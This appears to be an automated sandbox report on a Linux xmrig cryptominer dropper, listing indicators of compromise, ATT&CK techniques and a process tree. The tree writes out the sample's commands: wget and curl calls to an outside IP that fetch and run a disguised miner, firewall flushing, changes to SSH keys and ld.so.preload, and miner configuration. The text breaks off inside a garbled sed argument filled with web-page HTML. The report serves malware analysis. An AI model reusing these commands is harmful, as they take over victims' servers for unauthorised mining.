xmrig | a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa

description	ioc	Process
File opened for modification	/etc/ld.so.preload	a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa
File opened for modification	/root/.ssh/authorized_keys2	Process not Found

Executes dropped EXE 2 IoCs

ioc	pid	Process
/.dockerenv	1596	.dockerenv
/usr/sbin/moneroocean/xmrig	1642	xmrig

Flushes firewall rules 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
1578	iptables

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
File opened for modification	/etc/resolv.conf	a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa

Attempts to change immutable files 13 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1581	chattr
1582	chattr
1641	sed
1649	sed
1650	sed
1652	sed
1726	chattr
1632	sed
1648	sed
1651	sed
1653	sed
1655	sed
1586	chattr

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

description	ioc	Process
File opened for reading	/proc/cpuinfo	xmrig

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 5 IoCs

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/types	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads hardware information 1 TTPs 14 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig

Write file to user bin folder 1 TTPs 13 IoCs

Hijack Execution Flow

description	ioc	Process
File opened for modification	/usr/sbin/moneroocean/sedDEEjVH	sed
File opened for modification	/usr/sbin/moneroocean/miner.sh	Process not Found
File opened for modification	/usr/sbin/moneroocean/SHA256SUMS	tar
File opened for modification	/usr/sbin/moneroocean/sedueGpaF	sed
File opened for modification	/usr/sbin/moneroocean/sedieQq3G	sed
File opened for modification	/usr/sbin/moneroocean/sedKBtDsL	sed
File opened for modification	/usr/sbin/moneroocean/sedO5wYYN	sed
File opened for modification	/usr/sbin/moneroocean/config.json	tar
File opened for modification	/usr/sbin/moneroocean/xmrig	tar
File opened for modification	/usr/sbin/moneroocean/sedqjJP2A	sed
File opened for modification	/usr/sbin/moneroocean/sedQd0ofI	sed
File opened for modification	/usr/sbin/moneroocean/config_background.json	cp
File opened for modification	/usr/sbin/.bash_history	touch

Enumerates kernel/hardware configuration 1 TTPs 54 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/core_id	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/bus/node/devices/node0/access0/initiators	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/core_siblings	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map	xmrig
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.cpus	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/level	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/level	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/size	xmrig
File opened for reading	/sys/bus/node/devices/node0/cpumap	xmrig
File opened for reading	/sys/fs/cgroup/unified/cgroup.controllers	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/die_cpus	xmrig
File opened for reading	/sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/bus/node/devices/node0/access0/initiators/read_latency	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map	xmrig
File opened for reading	/sys/kernel/mm/hugepages	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/thread_siblings	xmrig
File opened for reading	/sys/bus/node/devices/node0/meminfo	xmrig
File opened for reading	/sys/bus/dax/devices	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/level	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/bus/node/devices/node0/access0/initiators/read_bandwidth	xmrig
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.mems	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/physical_package_id	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig
File opened for reading	/sys/bus/cpu/devices	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cpufreq/base_frequency	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/level	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/type	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/node/online	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/bus/node/devices/node0/hugepages	xmrig
File opened for reading	/sys/bus/node/devices/node0/access1/initiators	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size	xmrig
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map	xmrig

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1232/stat	pidof
File opened for reading	/proc/32/status	ps
File opened for reading	/proc/32/cmdline	ps
File opened for reading	/proc/1164/cmdline	ps
File opened for reading	/proc/508/stat	killall
File opened for reading	/proc/948/stat	killall
File opened for reading	/proc/462/stat	pidof
File opened for reading	/proc/1189/cmdline	pidof
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/1326/cmdline	ps
File opened for reading	/proc/947/status	ps
File opened for reading	/proc/535/stat	killall
File opened for reading	/proc/27/status	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/30/cmdline	ps
File opened for reading	/proc/1567/cmdline	ps
File opened for reading	/proc/1134/cmdline	pidof
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/1084/cmdline	killall
File opened for reading	/proc/1250/status	ps
File opened for reading	/proc/1287/status	ps
File opened for reading	/proc/963/cmdline	ps
File opened for reading	/proc/1037/cmdline	ps
File opened for reading	/proc/1181/stat	killall
File opened for reading	/proc/1307/cmdline	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/628/status	ps
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/154/stat	pidof
File opened for reading	/proc/1180/cmdline	ps
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/1666/stat	killall
File opened for reading	/proc/485/stat	pidof
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/89/cmdline	ps
File opened for reading	/proc/508/cmdline	ps
File opened for reading	/proc/156/stat	ps
File opened for reading	/proc/1558/cmdline	ps
File opened for reading	/proc/959/cmdline	pidof
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1563/cmdline	ps
File opened for reading	/proc/1250/stat	ps
File opened for reading	/proc/629/stat	ps
File opened for reading	/proc/480/status	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/9/stat	pidof
File opened for reading	/proc/587/cmdline	ps
File opened for reading	/proc/1248/status	ps
File opened for reading	/proc/35/stat	killall
File opened for reading	/proc/647/stat	killall
File opened for reading	/proc/342/stat	killall
File opened for reading	/proc/483/stat	pidof
File opened for reading	/proc/1353/stat	pidof
File opened for reading	/proc/468/status	ps
File opened for reading	/proc/1144/cmdline	killall
File opened for reading	/proc/98/stat	pidof
File opened for reading	/proc/1180/stat	pidof
File opened for reading	/proc/1178/cmdline	ps
File opened for reading	/proc/1147/stat	ps
File opened for reading	/proc/468/stat	killall
File opened for reading	/proc/510/status	ps
File opened for reading	/proc/1150/cmdline	ps

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc
File opened for modification	/tmp/sh-thd.0BAlgU
File opened for modification	/tmp/sh-thd.FTjPeN
File opened for modification	/tmp/moneroocean_miner.service

/tmp/a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa
/tmp/a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa
1⤵
- Modifies the dynamic linker configuration file
- Adds new SSH keys
- Writes DNS configuration
PID:1560
- /bin/hostname
  hostname
  2⤵
  PID:1561
- /bin/pidof
  pidof /usr/bin/systemd
  2⤵
  - Reads runtime system information
  PID:1562
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1564
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1563
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1567
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1566
- /bin/uname
  uname -m
  2⤵
  PID:1571
- /bin/uname
  uname -m
  2⤵
  PID:1572
- /bin/uname
  uname -m
  2⤵
  PID:1573
- /bin/uname
  uname -m
  2⤵
  PID:1574
- /bin/uname
  uname -m
  2⤵
  PID:1575
- /bin/uname
  uname -m
  2⤵
  PID:1576
- /bin/uname
  uname -m
  2⤵
  PID:1577
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1578
- /usr/bin/chattr
  chattr -ia /etc/resolv.conf
  2⤵
  - Attempts to change immutable files
  PID:1581
- /usr/bin/chattr
  chattr +i /etc/resolv.conf
  2⤵
  - Attempts to change immutable files
  PID:1582
- /usr/bin/curl
  curl -sLk http://chimaera.cc/data/xmrig/wallet.rotate.suckers.txt
  2⤵
  PID:1583
- /bin/uname
  uname -m
  2⤵
  PID:1585
- /usr/bin/chattr
  chattr -ia / /tmp/ /var/ /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:1586
- /bin/chmod
  chmod 1777 /tmp/ /var/ /var/tmp/
  2⤵
  PID:1587
- /bin/mount
  mount -o "rw,remount" /
  2⤵
  PID:1591
- /bin/rm
  rm -f /.dockerenv
  2⤵
  PID:1592
- /usr/bin/wget
  wget -q http://85.214.149.236:443/sugarcrm/themes/default/images/SugarLogic/.../xmr/x86_64 -O /.dockerenv
  2⤵
  PID:1593
- /bin/chmod
  chmod 755 /.dockerenv
  2⤵
  PID:1594
- /bin/mount
  mount -o "remount,exec" /
  2⤵
  PID:1595
- /.dockerenv
  /.dockerenv
  2⤵
  - Executes dropped EXE
  PID:1596
- /usr/bin/nproc
  nproc
  2⤵
  PID:1598
- /bin/sleep
  sleep 2
  2⤵
  PID:1602
- /usr/bin/sudo
  sudo -n true
  2⤵
  PID:1621
- - /bin/true
    true
    3⤵
    PID:1622
- /usr/bin/sudo
  sudo systemctl stop moneroocean_miner.service
  2⤵
  PID:1623
- - /bin/systemctl
    systemctl stop moneroocean_miner.service
    3⤵
    PID:1624
- /usr/bin/killall
  killall -9 xmrig
  2⤵
  - Reads runtime system information
  PID:1625
- /bin/rm
  rm -rf /usr/sbin/moneroocean
  2⤵
  PID:1626
- /usr/bin/curl
  curl -Lk --progress-bar http://85.214.149.236:443/sugarcrm/themes/default/images/SugarLogic/.../xmr/x86_64.tar.gz -o /var/tmp/xmrig.tar.gz
  2⤵
  PID:1627
- /bin/mkdir
  mkdir /usr/sbin/moneroocean
  2⤵
  PID:1628
- /bin/tar
  tar xf /var/tmp/xmrig.tar.gz -C /usr/sbin/moneroocean
  2⤵
  PID:1629
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1630
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1630
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1630
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1630
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1630
- - /bin/gzip
    gzip -d
    3⤵
    PID:1630
- /bin/rm
  rm /var/tmp/xmrig.tar.gz
  2⤵
  PID:1631
- /bin/sed
  sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  PID:1632
- /usr/sbin/moneroocean/xmrig
  /usr/sbin/moneroocean/xmrig --help
  2⤵
  PID:1633
- /usr/bin/curl
  curl -Lk --progress-bar https://github.com/xmrig/xmrig/releases/download/v6.13.1/xmrig-6.13.1-linux-static-x64.tar.gz -o /var/tmp/xmrig.tar.gz
  2⤵
  PID:1635
- /bin/tar
  tar xf /var/tmp/xmrig.tar.gz -C /usr/sbin/moneroocean "--strip=1"
  2⤵
  - Write file to user bin folder
  PID:1638
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:1639
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:1639
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:1639
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:1639
- - /sbin/gzip
    gzip -d
    3⤵
    PID:1639
- - /bin/gzip
    gzip -d
    3⤵
    PID:1639
- /bin/rm
  rm /var/tmp/xmrig.tar.gz
  2⤵
  PID:1640
- /bin/sed
  sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 0,/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1641
- /usr/sbin/moneroocean/xmrig
  /usr/sbin/moneroocean/xmrig --help
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  PID:1642
- /bin/sed
  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"94.130.12.30:3333\",/" /usr/sbin/moneroocean/config.json
  2⤵
  - Attempts to change immutable files
  - Write file to user bin folder
  PID:1648
- /bin/sed
  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"<!DOCTYPE" "html><html" "lang=\"en-US\"><head><title>Just" a "moment...</title><meta" "http-equiv=\"Content-Type\"" "content=\"text/html;" "charset=UTF-8\"><meta" "http-equiv=\"X-UA-Compatible\"" "content=\"IE=Edge\"><meta" "name=\"robots\"" "content=\"noindex,nofollow\"><meta" "name=\"viewport\"" "content=\"width=device-width,initial-scale=1\"><style>*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131}button,html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe" "UI,Roboto,Helvetica" "Neue,Arial,Noto" "Sans,sans-serif,Apple" Color "Emoji,Segoe" UI "Emoji,Segoe" UI "Symbol,Noto" Color "Emoji}@media" "(prefers-color-scheme:dark){body{background-color:#222;color:#d9d9d9}body" "a{color:#fff}body" "a:hover{color:#ee730a;text-decoration:underline}body" .lds-ring "div{border-color:#999" transparent "transparent}body" ".font-red{color:#b20f03}body" ".big-button,body" ".pow-button{background-color:#4693ff;color:#1d1d1d}body" "#challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=)}body" "#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI0IyMEYwMyIgZD0iTTE2IDNhMTMgMTMgMCAxIDAgMTMgMTNBMTMuMDE1IDEzLjAxNSAwIDAgMCAxNiAzbTAgMjRhMTEgMTEgMCAxIDEgMTEtMTEgMTEuMDEgMTEuMDEgMCAwIDEtMTEgMTEiLz48cGF0aCBmaWxsPSIjQjIwRjAzIiBkPSJNMTcuMDM4IDE4LjYxNUgxNC44N0wxNC41NjMgOS41aDIuNzgzem0tMS4wODQgMS40MjdxLjY2IDAgMS4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}}body{display:flex;flex-direction:column;min-height:100vh}body.no-js" ".loading-spinner{visibility:hidden}body.no-js" ".challenge-running{display:none}body.dark{background-color:#222;color:#d9d9d9}body.dark" "a{color:#fff}body.dark" "a:hover{color:#ee730a;text-decoration:underline}body.dark" .lds-ring "div{border-color:#999" transparent "transparent}body.dark" ".font-red{color:#b20f03}body.dark" ".big-button,body.dark" ".pow-button{background-color:#4693ff;color:#1d1d1d}body.dark" "#challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=)}body.dark" "#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI0IyMEYwMyIgZD0iTTE2IDNhMTMgMTMgMCAxIDAgMTMgMTNBMTMuMDE1IDEzLjAxNSAwIDAgMCAxNiAzbTAgMjRhMTEgMTEgMCAxIDEgMTEtMTEgMTEuMDEgMTEuMDEgMCAwIDEtMTEgMTEiLz48cGF0aCBmaWxsPSIjQjIwRjAzIiBkPSJNMTcuMDM4IDE4LjYxNUgxNC44N0wxNC41NjMgOS41aDIuNzgzem0tMS4wODQgMS40MjdxLjY2IDAgMS4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}body.light{background-color:transparent;color:#313131}body.light" "a{color:#0051c3}body.light" "a:hover{color:#ee730a;text-decoration:underline}body.light" .lds-ring "div{border-color:#595959" transparent "transparent}body.light" ".font-red{color:#fc574a}body.light" ".big-button,body.light" ".pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light" "#challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=)}body.light" "#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI2ZjNTc0YSIgZD0iTTE2IDNhMTMgMTMgMCAxIDAgMTMgMTNBMTMuMDE1IDEzLjAxNSAwIDAgMCAxNiAzbTAgMjRhMTEgMTEgMCAxIDEgMTEtMTEgMTEuMDEgMTEuMDEgMCAwIDEtMTEgMTEiLz48cGF0aCBmaWxsPSIjZmM1NzRhIiBkPSJNMTcuMDM4IDE4LjYxNUgxNC44N0wxNC41NjMgOS41aDIuNzgzem0tMS4wODQgMS40MjdxLjY2IDAgMS4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+)}a{background-color:transparent;color:#0051c3;text-decoration:none;transition:color" .15s "ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem" "auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media" "(width" "<=" "720px){.main-content{margin-top:4rem}.heading-favicon{height:1.5rem;width:1.5rem}}.footer,.main-content{padding-left:1.5rem;padding-right:1.5rem}.main-wrapper{align-items:center;display:flex;flex:1;flex-direction:column}.font-red{color:#b20f03}.spacer{margin:2rem" "0}.h1{font-size:2.5rem;font-weight:500;line-height:3.75rem}.h2{font-weight:500}.core-msg,.h2{font-size:1.5rem;line-height:2.25rem}.body-text,.core-msg{font-weight:400}.body-text{font-size:1rem;line-height:1.25rem}@media" "(width" "<=" "720px){.h1{font-size:1.5rem;line-height:1.75rem}.h2{font-size:1.25rem}.core-msg,.h2{line-height:1.5rem}.core-msg{font-size:1rem}}#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSI+PHBhdGggZmlsbD0iI2ZjNTc0YSIgZD0iTTE2IDNhMTMgMTMgMCAxIDAgMTMgMTNBMTMuMDE1IDEzLjAxNSAwIDAgMCAxNiAzbTAgMjRhMTEgMTEgMCAxIDEgMTEtMTEgMTEuMDEgMTEuMDEgMCAwIDEtMTEgMTEiLz48cGF0aCBmaWxsPSIjZmM1NzRhIiBkPSJNMTcuMDM4IDE4LjYxNUgxNC44N0wxNC41NjMgOS41aDIuNzgzem0tMS4wODQgMS40MjdxLjY2IDAgMS4wNTcuMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjMzEzMTMxIiBkPSJtMTAuOTU1IDE2LjA1NS0zLjk1LTQuMTI1LTEuNDQ1IDEuMzg1IDUuMzcgNS42MSA5LjQ5NS05LjYtMS40Mi0xLjQwNXoiLz48L3N2Zz4=);padding-left:42px}.text-center{text-align:center}.big-button{border:.063rem" solid "#0051c3;border-radius:.313rem;font-size:.875rem;line-height:1.313rem;padding:.375rem" "1rem;transition-duration:.2s;transition-property:background-color,border-color,color;transition-timing-function:ease}.big-button:hover{cursor:pointer}.captcha-prompt:not(.hidden){display:flex}@media" "(width" "<=" "720px){.captcha-prompt:not(.hidden){flex-wrap:wrap;justify-content:center}}.pow-button{background-color:#0051c3;color:#fff;margin:2rem" "0}.pow-button:hover{background-color:#003681;border-color:#003681;color:#fff}.footer{font-size:.75rem;line-height:1.125rem;margin:0" "auto;max-width:60rem;width:100%}.footer-inner{border-top:1px" solid "#d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:\"\";display:table}.clearfix" ".column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer" ".ray-id{text-align:center}.footer" .ray-id "code{font-family:monaco,courier,monospace}.core-msg,.zone-name-title{overflow-wrap:break-word}@media" "(width" "<=" "720px){.diagnostic-wrapper{display:flex;flex-wrap:wrap;justify-content:center}.clearfix:after{clear:none;content:none;display:initial;text-align:center}.column{padding-bottom:2rem}.clearfix" ".column{float:none;padding:0;width:auto;word-break:keep-all}.zone-name-title{margin-bottom:1rem}}.loading-spinner{height:76.391px}.lds-ring{display:inline-block;position:relative}.lds-ring,.lds-ring" "div{height:1.875rem;width:1.875rem}.lds-ring" "div{animation:lds-ring" 1.2s "cubic-bezier(.5,0,.5,1)" "infinite;border:.3rem" solid 